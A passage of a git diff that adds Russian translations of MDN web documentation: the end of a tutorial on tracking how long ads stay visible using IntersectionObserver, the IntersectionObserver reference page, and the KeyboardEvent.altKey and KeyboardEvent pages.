+<p>Затем, для каждого видимого рекламного блока, мы сохраняем значение <code>dataset.totalViewTime</code> (количество миллисекунд, которое текущая реклама была видима с момента последнего обновления этого значения). После этого вызываем функцию <code>updateAdTimer()</code> для обновления времени. Если оно изменилось, мы вставляем рекламный блок в список <code>redrawList</code>. Таким образом, при обработке следующего кадра приложение знает, что нужно перерисовать.</p>
+
+<p>И, наконец, если существует хоть один элемент, который нужно перерисовать, мы будем используем {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}, чтобы отложить отрисовку каждого элемента на тот момент, когда будет формироваться следующий кадр.</p>
+
+<h3 id="Обновление_таймера_видимости_рекламы">Обновление таймера видимости рекламы</h3>
+
+<p>Ранее мы уже видели, что если нам нужно обновить общее время видимости рекламы - мы вызываем функцию <code>updateAdTimer()</code>. Эта функция принимает в качестве аргумента объект {{domxref("HTMLDivElement")}}.</p>
+
+<pre class="brush: js notranslate">function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}</pre>
+
+<p>Для отслеживания времени видимости элемента мы используем два data-атрибута на каждом рекламном блоке:</p>
+
+<dl>
+ <dt><code>lastViewStarted</code></dt>
+ <dd>Время в миллисекундах относительно первоначальной загрузки страницы до момента, когда счётчик рекламного блока был обновлён или блок стал невидим. Если значение равно нулю - блок не был видим в последний раз, когда проверялся.</dd>
+ <dt><code>totalViewTime</code></dt>
+ <dd>Общее время видимости рекламного блока.</dd>
+</dl>
+
+<p>Значение этих атрибутов можно получить с помощью {{domxref("HTMLElement.dataset")}}. Значения - строки, но вы можете конвертировать их в числа. Фактически, JavaScript делает это автоматически, но нам всё равно придется в одном месте сделать это вручную.</p>
+
+<p>Функция начинается с выяснения времени, когда происходила последняя проверка видимости рекламы (<code>adBox.dataset.lastViewStarted</code>). Мы также получаем текущее время с момента создания документа с помощью {{domxref("Performance.now", "performance.now()")}} <code>currentTime</code>.</p>
+
+<p>Если время последней проверки lastStarted не равно нулю - это значит, что таймер сейчас уже запущен. В этом случае мы вычисляем разницу между текущим временем и временем старта проверки. Это значение покажет, сколько реклама была видима с момента последнего старта детекции. Затем это значение прибавляем к уже имееющемуся <code>totalViewTime</code>. Обратите внимание не вызов {{jsxref("parseFloat()")}}: так как все значения из Dataset - строки, JavaScript пытается соединить строки вместо того, чтобы просуммировать числа.</p>
+
+<p>В конце мы присваеваем <code>lastViewStarted</code> текущее значение. Это делается вне зависимости от того, был ли элемент видим во время вызова функции или нет - это позволяет таймеру рекламных блоков срабатывать всегда, когда эта функция вызывается. Это имеет смысл, потому что вызов может сработать ровно в тот момент, когда реклама только появилась.</p>
+
+<h3 id="Показываем_таймер_рекламы">Показываем таймер рекламы</h3>
+
+<p>Внутри каждого рекламного блока мы отображаем текущее значение общего времени видимости в формате мин:сек. Для этого мы передаем в функцию <code>drawAdTimer</code> контейнер:</p>
+
+<pre class="brush: js notranslate">function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}</pre>
+
+<p>Функция находит внутри переданного контейнера блок с классом <code>timer</code>. Затем забирает данные о текущем общем времени видимости блока. С помощью деления на 1000, 60 и 60 мы преобразуем результат в нужный формат (миллисекунды -&gt; секунды -&gt; минуты / секунды)</p>
+
+<p>Метод {{jsxref("String.padStart()")}} используется для того, чтобы убедиться, что число секунд всегда состоят из двух цифр.</p>
+
+<h3 id="Строим_содержимое_страницы">Строим содержимое страницы</h3>
+
+<p>Функция <code>buildContents()</code> вызывается при старте приложения. Она формирует тело статьи и добавляет рекламные блоки:</p>
+
+<pre class="brush: js notranslate">let loremIpsum = "&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.&lt;/p&gt;";
+
+function buildContents() {
+  for (let i=0; i&lt;5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+</pre>
+
+<p>Переменная <code>loremIpsum</code> содержит текст, который мы используем как тело статьи. Разумеется, в реальном мире вы будете забирать статьи из какой-то базы данных. Но это тема другой статьи, поэтому мы пошли простым путём.</p>
+
+<p><code>buildContents()</code> создаёт страницу с пятью статьями. Каждая нечётная статья содержит рекламные блоки.  Статьи будут вставлены в блок контента {{HTMLElement("main")}}. после того, как будет вызван метод <code>createArticle()</code>, который мы разберем позже.</p>
+
+<p>Рекламные блоки создаются с помощью функции <code>loadRandomAd()</code>. Эта функция создает и вставляет блоки одновременно. Как мы увидим позже, эта же функция может и заменить уже существующую рекламу. Но пока что просто добавим рекламу в существующий текст.</p>
+
+<h3 id="Создаем_статью">Создаем статью</h3>
+
+<p>Для создания элемента статьи {{HTMLElement("article")}} и её содержимого мы используем функцию <code>createArticle()</code>, которая в качестве входных данных принимает строку-текст статьи.</p>
+
+<pre class="brush: js notranslate">function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}</pre>
+
+<p>Сперва, элемент <code>&lt;article&gt;</code> создаётся и ему присваивается уникальный ID <code>nextArticleID</code> (это просто счётчик от нуля до бесконечности). Затем мы создаем и добавляем элемент {{HTMLElement("h2")}} для заголовка и применяем HTML из переменной <code>contents</code>. Наконец, мы увеличиваем значение <code>nextArticleID</code> (таким образом, следующий элемент получит уникальный ID) и возвращаем элемент статьи обратно.</p>
+
+<h3 id="Создание_рекламного_блока">Создание рекламного блока</h3>
+
+<p>Функция <code>loadRandomAd()</code> имитирует загрузку рекламы и её добавление на страницу. Если вы не указываете значение для <code>replaceBox</code>, создается и применяется новый контейнер для рекламы. Если вы указали <code>replaceBox</code>, этот контейнер рассматривается, как уже существующий элемент. Вместо создания нового, существующий элемент изменяется, чтобы содержать актуальные данные. Это помогает избежать риска неэффективной перерисовки элементов, если вы сначала будете удалять элемент из DOM, а затем вставлять новый.</p>
+
+<pre class="brush: js notranslate">function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}</pre>
+
+<p>Вначале мы определяем массив <code>ads</code>. Этот массив содержит данные, необходимые для создания рекламных блоков. В реальном приложении, конечно, мы будем загружать эти данные из базы или, что более вероятно, из рекламного сервиса, который будет использовать какой-то API. Тем не менее, наша простая задача решается: каждый рекламный блок представлен тремя свойствами: фоновым цветом (<code>bgcolor</code>), заголовком (<code>title</code>) и текстовым содержимым (<code>body</code>).</p>
+
+<p>Затем мы определяем несколько переменных:</p>
+
+<dl>
+ <dt><code>adBox</code></dt>
+ <dd>Определяет контейнер, содержащий рекламу. Вновь добавленные рекламные блоки будут добавлены к странице с помощью{{domxref("Document.createElement()")}}. Когда замещается существующая реклама, в этой переменной указан элемент (<code>replaceBox</code>).</dd>
+ <dt><code>title</code></dt>
+ <dd>Содержит ссылку на элемент {{HTMLElement("h2")}}.</dd>
+ <dt><code>body</code></dt>
+ <dd>Содержит ссылку на элемент {{HTMLElement("p")}}.</dd>
+ <dt><code>timerElem</code></dt>
+ <dd>Содержит ссылку на элемент таймера {{HTMLElement("div")}}.</dd>
+</dl>
+
+<p>Случайный рекламный блок вычисляется с помощью <code>Math.floor(Math.random() * ads.length)</code>. Результат этой функции - целое число между 0 и максимальным количеством рекламных блоков. Соответствующий рекламный блок теперь доступен нам из переменной <code>adBox</code>.</p>
+
+<p>Если <code>replaceBox</code> содержит какое-то значение, мы рассматриваем его как элемент рекламного блока. Мы завершаем наблюдение за элементом с помощью {{domxref("IntersectionObserver.unobserve()")}}. Затем собираем в локальные переменные данные из каждого свойства элемента: заголовок, тело и таймер.</p>
+
+<p>Если никакое значение не указано для <code>replaceBox</code>, мы создаем новый элемент. Создаётся новый контейнер {{HTMLElement("div")}}. Его CSS-параметры задаются с помощью класса <code>"ad"</code>. Затем создаются заголовок рекламного блока, его текст и таймер.  Соотстветвенно, это {{HTMLElement("h2")}}, {{HTMLElement("p")}} и {{HTMLElement("div")}}. Эти элементы применяются к контейнеру <code>adBox</code>.</p>
+
+<p>После этого разветвления наш код вновь возвращается к единому. Фоновый цвет рекламных блоков присваевается соответственно записям. Элементам присваиваются классы и содержимое.</p>
+
+<p>Наступаем время присвоить data-параметры, чтобы отслеживать видимость рекламных блоков с помощью установки <code>adBox.dataset.totalViewTime</code> и <code>adBox.dataset.lastViewStarted</code> равными нулю.</p>
+
+<p>Наконец, мы устанавливаем CSS-класс контейнеру таймера. С помощью этого класса приложение сможет с лёгкостью собирать данные и обновлять их для каждого таймера. По умолчанию, текст этого контейнера - "0:00".</p>
+
+<p>Если мы создаём новую рекламу, мы должны применить элемент к страницы с помощью {{domxref("Node.appendChild", "Document.appendChild()")}}. Если мы лишь заменяем рекламный блок - он уже представлен в DOM и всё, что нам нужно сделать - это обновить его. Затем мы вызываем функцию {{domxref("IntersectionObserver.observe", "observe()")}}. <code>adObserver</code> начинает отслеживать изменения перекрытия элементов в видимой области приложения. С этого момента любой рекламный блок, который становится на 100% скрыт или хотя бы на один пиксель видим или преодолевает порог в 75% видимости в любом направлении, запускает вычисление таймингов и обновление содержимого таймеров.</p>
+
+<h3 id="Замена_существующей_рекламы">Замена существующей рекламы</h3>
+
+<p>Наша {{anch("Handling intersection changes", "функция обработки перекрытия")}} отслеживает рекламные блоки. Когда они становятся на 100% и общее время их видимости достаточное для того, рекламный блок заменяется на новый. Когда это происходит, вызывается функция <code>replaceAd()</code>.</p>
+
+<pre class="brush: js notranslate">function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}</pre>
+
+<p><code>replaceAd()</code> начинается с вызова <code>updateAdTimer()</code> для существующего рекламного блока, чтобы убедиться, что таймер обновлён. С помощью этого вызова мы убеждаемся, что <code>totalViewTime</code>, который мы используем для обработки, действительно совпадает с тем, что видел пользователь. Мы логгируем это значение и загружаем в рекламный блок новые данные. Помните, что в реальном мире вы не должны логгировать подобные вещи, а скорее использовать API для сбор логов.</p>
+</div>
+
+<h2 id="Результат">Результат</h2>
+
+<p>Вы можете увидеть результат в окне ниже. Попробуйте экспериментировать с прокрутой и понаблюдайте за тем, как изменение видимости затрагивает каждый таймер. Кроме того, обратите внимание, что каждый рекламный блок обновляется только в том случае, если он уже был видим в течение минуты.</p>
+
+<p>{{EmbedLiveSample("fullpage_example", 750, 800)}}</p>
+
+<h2 id="См._также">См. также:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li>
+</ul>
diff --git a/files/ru/web/api/intersectionobserver/index.html b/files/ru/web/api/intersectionobserver/index.html
new file mode 100644
index 0000000000..707224cab5
--- /dev/null
+++ b/files/ru/web/api/intersectionobserver/index.html
@@ -0,0 +1,95 @@
+---
+title: IntersectionObserver
+slug: Web/API/IntersectionObserver
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Intersection Observer
+  - Intersection Observer API
+  - Reference
+  - observers
+translation_of: Web/API/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p>Интерфейс <code><strong>IntersectionObserver</strong></code> в составе <a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> <span class="seoSummary">предоставляет возможность асинхронного наблюдения за изменением пересечения целевого элемента с вышестоящим элементом или с верхоуровневым {{Glossary('viewport')}} документа.</span> Вышестоящий элемент или viewport считается корнем.</p>
+
+<p>Когда <code>IntersectionObserver</code> создан, он настроен на отслеживание заданных соотношений видимости в корне. Конфигурация не может быть изменена после создания <code>IntersectionObserver</code>, поэтому такой объект-наблюдатель полезен только для наблюдения за определенными изменениями в степени видимости; однако вы можете следить за несколькими целевыми элементами с одним и тем же наблюдателем.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.IntersectionObserver()")}}</dt>
+ <dd>Создаёт новый объект <code>IntersectionObserver</code>, который будет запускать специальную callback-функцию, когда обнаружит пересечение одного или нескольких пороговых значений видимостью целевого элемента.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.root")}} {{readonlyinline}}</dt>
+ <dd>Конкретный предок наблюдаемого целевого {{domxref("element")}}. Если в конструктор не было передано значения или оно <code>null</code>, будет использован viewport документа.</dd>
+ <dt>{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}</dt>
+ <dd>Смещение прямоугольника (<em>пер.</em> "An offset rectangle"), применяемое к {{Glossary('bounding box')}} корня при расчёте пересечений, эффективно сжимает или увеличивает корень для целей расчёта. Возвращаемое этим свойством значение может не совпадать со значением, указанным при вызове конструктора, поскольку оно может быть изменено в соответствии с внутренними требованиями. Каждое смещение может быть выражено в пикселях (<code>px</code>) или в процентах (<code>%</code>). Значение по умолчанию "0px 0px 0px 0px".</dd>
+ <dt>{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}</dt>
+ <dd>Список порогов, отсотированный по возрастанию, где каждый порог представляет собой отношение площади пересечения к ограничивающей области наблюдаемой цели. Уведомления для цели генерируются, когда любое из пороговых значений пересекается для этой цели. Если в конструктор не было передано значения, используется 0.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.disconnect()")}}</dt>
+ <dd>Отключает объект <code>IntersectionObserver</code> от наблюдения любой цели.</dd>
+ <dt>{{domxref("IntersectionObserver.observe()")}}</dt>
+ <dd>Сообщает объекту <code>IntersectionObserver</code> целевой элемент для наблюдения.</dd>
+ <dt>{{domxref("IntersectionObserver.takeRecords()")}}</dt>
+ <dd>Возвращает массив из объектов {{domxref("IntersectionObserverEntry")}} для всех наблюдаемых целей.</dd>
+ <dt>{{domxref("IntersectionObserver.unobserve()")}}</dt>
+ <dd>Сообщает объекту <code>IntersectionObserver</code> прекратить наблюдение за конкретным целевым элементом.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var intersectionObserver = new IntersectionObserver(function(entries) {
+  // Если intersectionRatio равен 0, цель вне зоны видимости
+  // и нам не нужно ничего делать
+  if (entries[0].intersectionRatio &lt;= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// начать наблюдение
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref('MutationObserver')}}</li>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/altkey/index.html b/files/ru/web/api/keyboardevent/altkey/index.html
new file mode 100644
index 0000000000..0ac07c64c1
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/altkey/index.html
@@ -0,0 +1,117 @@
+---
+title: KeyboardEvent.altKey
+slug: Web/API/KeyboardEvent/altKey
+translation_of: Web/API/KeyboardEvent/altKey
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>KeyboardEvent.altKey</code></strong> свойство только для чтения, возвращет  {{jsxref("Boolean")}}, если клавиша  <kbd>alt</kbd> (<kbd>Option</kbd> или <kbd>⌥</kbd> на OS X) была нажата (<code>true</code>) или не нажата (<code>false</code>), когда событие произошло.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>altKeyPressed</em> = <em>instanceOfKeyboardEvent</em>.altKey
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;altKey example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showChar(e){
+  alert(
+    "Нажата клавиша: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "клавиша ALT нажата: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="showChar(event);"&gt;
+&lt;p&gt;
+Нажмите любую клавишу с зажатой клавишей ALT или без нее&lt;br /&gt;
+Вы можете также использовать SHIFT вместе с ALT.
+&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-KeyboardEvent-altKey','KeyboardEvent.altkey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("KeyboardEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/keyboardevent/index.html b/files/ru/web/api/keyboardevent/index.html
new file mode 100644
index 0000000000..82f1f9d634
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/index.html
@@ -0,0 +1,465 @@
+---
+title: KeyboardEvent
+slug: Web/API/KeyboardEvent
+tags:
+  - API
+  - DOM
+  - Event
+  - UI Events
+  - Интерфейс
+  - Событие
+translation_of: Web/API/KeyboardEvent
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code>Объекты </code><strong><code>KeyboardEvent</code></strong> описывают работу пользователя с клавиатурой. Каждое событие описывает клавишу; тип события (<code>keydown</code>, <code>keypress</code> или <code>keyup</code>) определяет произведённый тип действия.</p>
+
+<div class="note"><strong>Примечание:</strong> <code>KeyboardEvent</code> сообщит только о том, что на клавише произошло событие. Когда вам нужно обрабатывать ввод текста, то вместо него используйте "<code><a href="/ru/docs/DOM/DOM_event_reference/input" rel="custom">HTML5 input"</a></code>-событие. Например, если пользователь вводит текст рукописным способом, предположим с планшета, то события клавиш могут не возникать.</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}</dt>
+ <dd>Создаёт объект <code>KeyboardEvent</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от своих родителей: {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt><a id="getModifierState" name="getModifierState"></a>{{domxref("KeyboardEvent.getModifierState()")}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, показывающий, что использовалась клавиша-модификатор, такая как <kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd> или <kbd>Meta</kbd>, которая была нажата, когда создалось событие.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует объект <code>KeyboardEvent</code>. Этот метод реализован только в движке Gecko (остальные использовали метод {{domxref("KeyboardEvent.initKeyboardEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+ <dt>{{domxref("KeyboardEvent.initKeyboardEvent()")}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует объект <code>KeyboardEvent</code>. Этот метод никогда не был реализован в движке Gecko (вместо него использовался {{domxref("KeyboardEvent.initKeyEvent()")}}), и он не должен в дальнейшем использоваться. Новый стандартный способ - это использование конструктора {{domxref("KeyboardEvent.KeyboardEvent", "KeyboardEvent()")}}.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от своих родителей: {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("KeyboardEvent.altKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Alt</kbd> ( <kbd>Option</kbd> или <kbd>⌥</kbd> в OS X) была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.char")}} {{Non-standard_inline}}{{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляющий символьное значение клавиши. Если клавиша соответствует печатному символу, то это значение будет непустой Unicode-строкой, содержащей этот символ. Если клавиша не имеет печатного представления, то значение будет пустой строкой.
+ <div class="note"><strong>Примечание:</strong> Если клавиша использовалась как макрос, который вставляет несколько символов, то значением будет вся строка, а не только первый символ.</div>
+
+ <div class="warning"><strong>Предупреждение:</strong> Эта функция была удалена из событий "DOM Level 3 Events". Она поддержтвается только IE9+ и Microsoft Edge.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.charCode")}} {{Deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющий Unicode-номер клавиши; этот атрибут использовался только с событием <code>keypress</code>. Для клавиш, чей <code>char</code>-атрибут содержит несколько символов, то значением этого атрибута будет Unicode-значение первого символа. В Firefox 26 этот атрибут возвращал коды для печатных символов.
+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.code")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} с кодом клавиши, представленного события.</dd>
+ <dt>{{domxref("KeyboardEvent.ctrlKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша  <kbd>Ctrl</kbd> была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.isComposing")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если событие возникло между "после-<code>compositionstart</code>" и "до-<code>compositionend</code>".</dd>
+ <dt>{{domxref("KeyboardEvent.key")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представлающее значение клавиши, на которой возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.keyCode")}} {{deprecated_inline}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее системный и зависящий от конкретной реализации числовой код, идентифицирущий немодифицированное значение нажатой клавиши.
+ <div class="warning"><strong>Предупреждение:</strong> Это нерекомендуемый  к эксплуатации атрибут; по возможности вам нужно использовать вместо него {{domxref("KeyboardEvent.key")}}.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.keyIdentifier")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Это свойство нестандартное, и его использование не рекомендуется в пользу {{domxref("KeyboardEvent.key")}}. Это часть устаревшего "DOM Level 3 Events".</dd>
+ <dt>{{domxref("KeyboardEvent.keyLocation")}} {{Non-standard_inline}}{{deprecated_inline}}{{Readonlyinline}}</dt>
+ <dd>Это нестандартный нерекомендуемый синоним для {{domxref("KeyboardEvent.location")}}. Это часть устаревшего "DOM Level 3 Events".</dd>
+ <dt>{{domxref("KeyboardEvent.locale")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляет строку-локаль, которая показывает текущую конфигурацию локали клавиатуры. Это может быть пустая строка, если браузер или устройство не имеют понятия о локали клавиатуры.
+ <div class="note"><strong>Заметьте:</strong> Это не описание языка ввода текста. Пользователь может использовать одну раскладку клавиатуры для ввода на разных языках.</div>
+ </dd>
+ <dt>{{domxref("KeyboardEvent.location")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее расположение клавиши на клавиатуре или другом устройстве ввода.</dd>
+ <dt>{{domxref("KeyboardEvent.metaKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Meta</kbd> (на клавиатуре Mac - клавиша <kbd>⌘ Command</kbd>; на Windows-клавиатуре - клавиша "Windows" <kbd>⊞</kbd>) была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.repeat")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша была нажата до тех пор, пока её ввод не начал автоматически повторяться.</dd>
+ <dt>{{domxref("KeyboardEvent.shiftKey")}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, которое <code>true</code>, если клавиша <kbd>Shift</kbd> была активна, когда возникло событие.</dd>
+ <dt>{{domxref("KeyboardEvent.which")}} {{deprecated_inline}} {{Readonlyinline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее зависящее от конкретной реализации значение системного кода нажатой клавиши, который представляет собой немодифицируемое значение; это обычно то же, что свойство <code>keyCode</code>.
